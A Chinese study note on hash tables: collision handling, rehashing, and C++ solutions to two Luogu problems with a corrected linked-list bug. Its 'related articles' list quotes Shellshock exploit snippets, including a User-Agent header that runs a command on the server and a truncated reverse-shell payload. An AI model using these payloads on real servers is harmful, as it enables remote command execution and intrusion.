hash表(学习笔记)

article/2025/9/17 16:47:17

hash表又叫散列表,是一种用来存放数据的数据结构。用于快速查询

hash表就是一种数组,输入关键字,通过hash函数得到,对应数据的下标。(hash值就是下标)

hash函数根据关键字设计,主要原理:依据数组的大小求模运算

数组大小一般设计为质数,以便均匀散布。

解决hash冲突:关键在于找空位置

  1. 链表:结构体内加入next指针。当取模结果相同,数据不同时(即哈希冲突),将数据存放于next里面。
  2. 开发地址:1.线性探测法,当发生冲突时,往后面一个一个的找空位置+1+1。                                           2.平方探测法,发生冲突,往i的平方找,+i^2 ,相比线性减少了数据扎堆                               3.双hash,第二个hash的mod要取比数组大小要小的质数,hash2(key)  =mod-(key%mod),hash的结果不会等于0。往后移hash2。

hash表快满了,进行再hash,建一个新表,尺寸为2倍以上,并将数据迁移。

缺点:1.冲突   2.表越满,性能越差


P1102 A-B 数对 https://www.luogu.com.cn/problem/P1102

思路:建立hash表 ,存放数据还有它出现的次数,通过链表解决冲突。从第一个开始遍历,hash得出a[i]+c在表中的位置,得到出现次数。

代码实现

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<bits/stdc++.h>
using namespace std;
typedef unsigned long long ull;
ull mod=200003;
ull a[200000+5];
ull hashh(ull num)
{return num%mod;
}
struct arr{ull num=0;ull time=0;arr* next;
}htable[200000+5];int main()
{int n;ull c;scanf("%d%lld",&n,&c);for(int i=0;i<n;i++){scanf("%lld",&a[i]);arr* p=htable+hashh(a[i]);//找到这个hash值对应的地址while(p->num!=a[i]&&p->time>0)//如果这个位置已经被占了即次数大于01也不等于a[i]{if(p->next==NULL) p->next=(arr*)malloc(sizeof(arr));p=p->next;p->next=NULL;}p->num=a[i];p->time++;}ull ans=0;ull t;for(int i=0;i<n;i++){t=c+a[i];//接下来看t出现的次数arr* p=htable+hashh(t);while(p->num!=t&&p->next!=NULL){p=p->next;			}if(p->num==t){ans+=p->time;}}printf("%lld",ans);return 0;
}

 本应通过链表解决冲突,但依据测试结果应该是没有完全解决,这里我不明白,或许是我链表写错了

然后就把数组开大一点,就过了

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<bits/stdc++.h>
using namespace std;
typedef unsigned long long ull;
ull mod=1000003;
ull a[1000000+5];
ull hashh(ull num)
{return num%mod;
}
struct arr{ull num=0;ull time=0;arr* next;
}htable[1000000+5];int main()
{int n;ull c;scanf("%d%lld",&n,&c);for(int i=0;i<n;i++){scanf("%lld",&a[i]);arr* p=htable+hashh(a[i]);//找到这个hash值对应的地址while(p->num!=a[i]&&p->time>0)//如果这个位置已经被占了即次数大于01也不等于a[i]{if(p->next==NULL) p->next=(arr*)malloc(sizeof(arr));p=p->next;p->next=NULL;}p->num=a[i];p->time++;}ull ans=0;ull t;for(int i=0;i<n;i++){t=c+a[i];//接下来看t出现的次数arr* p=htable+hashh(t);while(p->num!=t&&p->next!=NULL){p=p->next;			}if(p->num==t){ans+=p->time;}}printf("%lld",ans);return 0;
}

P2580 于是他错误的点名开始了https://www.luogu.com.cn/problem/P2580

思路:和上面那题一样,建表。然后依据输入查表

代码实现

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<bits/stdc++.h>
using namespace std;
int base=131;
int mod=1000007;
int hashh(char* str)
{int len=strlen(str);int ans=0;for(int i=0;i<len;i++){ans=(ans*base+(int)str[i])%mod;}return ans;
}struct arr{char str[50]={'\0'};int time=0;arr* next;
}htable[1000006];
int main()
{int n;scanf("%d",&n);getchar();char str[55];for(int i=0;i<n;i++){scanf("%s",str);arr* p=htable+hashh(str);while(strcmp(p->str,str)!=0&&p->str[0]!='\0'){if(p->next==NULL) p->next=(arr*)malloc(sizeof(arr));p=p->next;p->next=NULL;}strcpy(p->str,str);}int m;scanf("%d",&m);getchar();for(int i=0;i<m;i++){scanf("%s",str);arr* p=htable+hashh(str);while(strcmp(p->str,str)!=0&&p->next!=NULL){p=p->next;}	if(strcmp(p->str,str)==0){if((p->time)++==0) printf("OK\n");else printf("REPEAT\n");}else printf("WRONG\n");}return 0;
}

二次编辑

上面链表的问题,我已经找到

就是在遍历链表的时候,遍历一个会将下一个地址赋为NULL,导致链断了。两道题目都有这个问题,这里就只放第一个的代码了

订正

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<bits/stdc++.h>
using namespace std;
typedef unsigned long long ull;
ull mod=200003;
ull a[200000+5];
ull hashh(ull num)
{return num%mod;
}
struct arr{ull num=0;ull time=0;arr* next;
}htable[200000+5];int main()
{int n;ull c;scanf("%d%lld",&n,&c);for(int i=0;i<n;i++){scanf("%lld",&a[i]);arr* p=htable+hashh(a[i]);//找到这个hash值对应的地址while(p->num!=a[i]&&p->time>0)//如果这个位置已经被占了即次数大于01也不等于a[i]{if(p->next==NULL) p->next=(arr*)malloc(sizeof(arr));p=p->next;}p->next=NULL;p->num=a[i];p->time++;}ull ans=0;ull t;for(int i=0;i<n;i++){t=c+a[i];//接下来看t出现的次数arr* p=htable+hashh(t);while(p->num!=t&&p->next!=NULL){p=p->next;			}if(p->num==t){ans+=p->time;}}printf("%lld",ans);return 0;
}


http://chatgpt.dhexx.cn/article/yucGDauh.shtml

相关文章

Hash表(C语言)

一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单元地址&#xff08;即下标&#xff09;&…

什么是Hash表

1.定义 Hash&#xff08;散列/哈希&#xff09;&#xff0c;就是把任意长度的输入&#xff08;又叫做预映射&#xff0c; pre-image&#xff09;&#xff0c;通过散列算法&#xff0c;变换成固定长度的输出&#xff0c;该输出就是散列值。这种转换是一种压缩映射&#xff0c;也…

HASH表的创建(C语言)

HASH表的创建&#xff08;C语言&#xff09; 一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单…

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法&#xff0c;是一类算法&#xff1b;哈希表&#xff08;Hash Table&#xff09;是一种数据结构&#xff1b;哈希函数&#xff0c;是支撑哈希表的一类函数&#xff1b;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数&#xff1b; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表&#xff08;Hash table&#xff0c;也叫散列表&#xff09;&#xff0c;所谓hash表&#xff0c;就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说&#xff0c;它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表&#xff08;Hash table&#xff0c;也叫哈希表&#xff09;&#xff0c;是根据键&#xff08;Key&#xff09;而直接访问在内存存储位置的数据结构。也就是说&#xff0c;它通过计算一个关于键值的函数&#xff0c;将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接&#xff1a;数据结构&#xff08;严蔚敏&#xff09; 文章发布很久了&#xff0c;具体细节已经不清晰了&#xff0c;不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍&#xff1a; Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

bash(CVE-2014-6271) shellshock-破壳漏洞复现

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…

pwnable-shellshock

文章目录 概述题目题目描述连接信息基本信息查看源代码源代码分析题目解法 概述 pwnable是一个经典的CTF中PWN方向练习的专业网站&#xff0c;本文记录的题目是shellshock&#xff0c;主要考察的是破壳漏洞的利用。 题目 题目描述 题目提示 there was a shocking news about…

LINUX漏洞复现篇之ShellShock漏洞

简介 ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞 在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令 此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shel…

详解ShellShock 漏洞复现原理,内附ShellShock的修复方法

本篇文章适合初学ShellShock漏洞阅读&#xff0c;如果您已经学习过ShellShock漏洞&#xff0c;可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNgs 在学习ShellShock时分享的一点心得&#xff0c;仅供大家参考学习。 ShellShock漏洞出现时间很早&#xff0c;相信很多人也对…

Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多&#xff0c;但是影响范围不是很广泛&#xff0c;不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。 其中最最简单的方法就是使用搜索引擎的hacking技术&#xff0c;这里我使用的Google Hacking语…

Bash Shellshock(Bash远程代码执行)漏洞分析及利用思路

&#xfeff;&#xfeff; 今日爆出一个Bash的RCE漏洞&#xff0c;威力巨大。看了看老外的分析&#xff0c;觉得有必要写一写自己对这个漏洞的理解。 首先&#xff0c;问题起因于一个命令ENV。 原型&#xff1a; env [OPTION]... [NAMEVALUE]... [COMMAND [ARGS]...] Man是…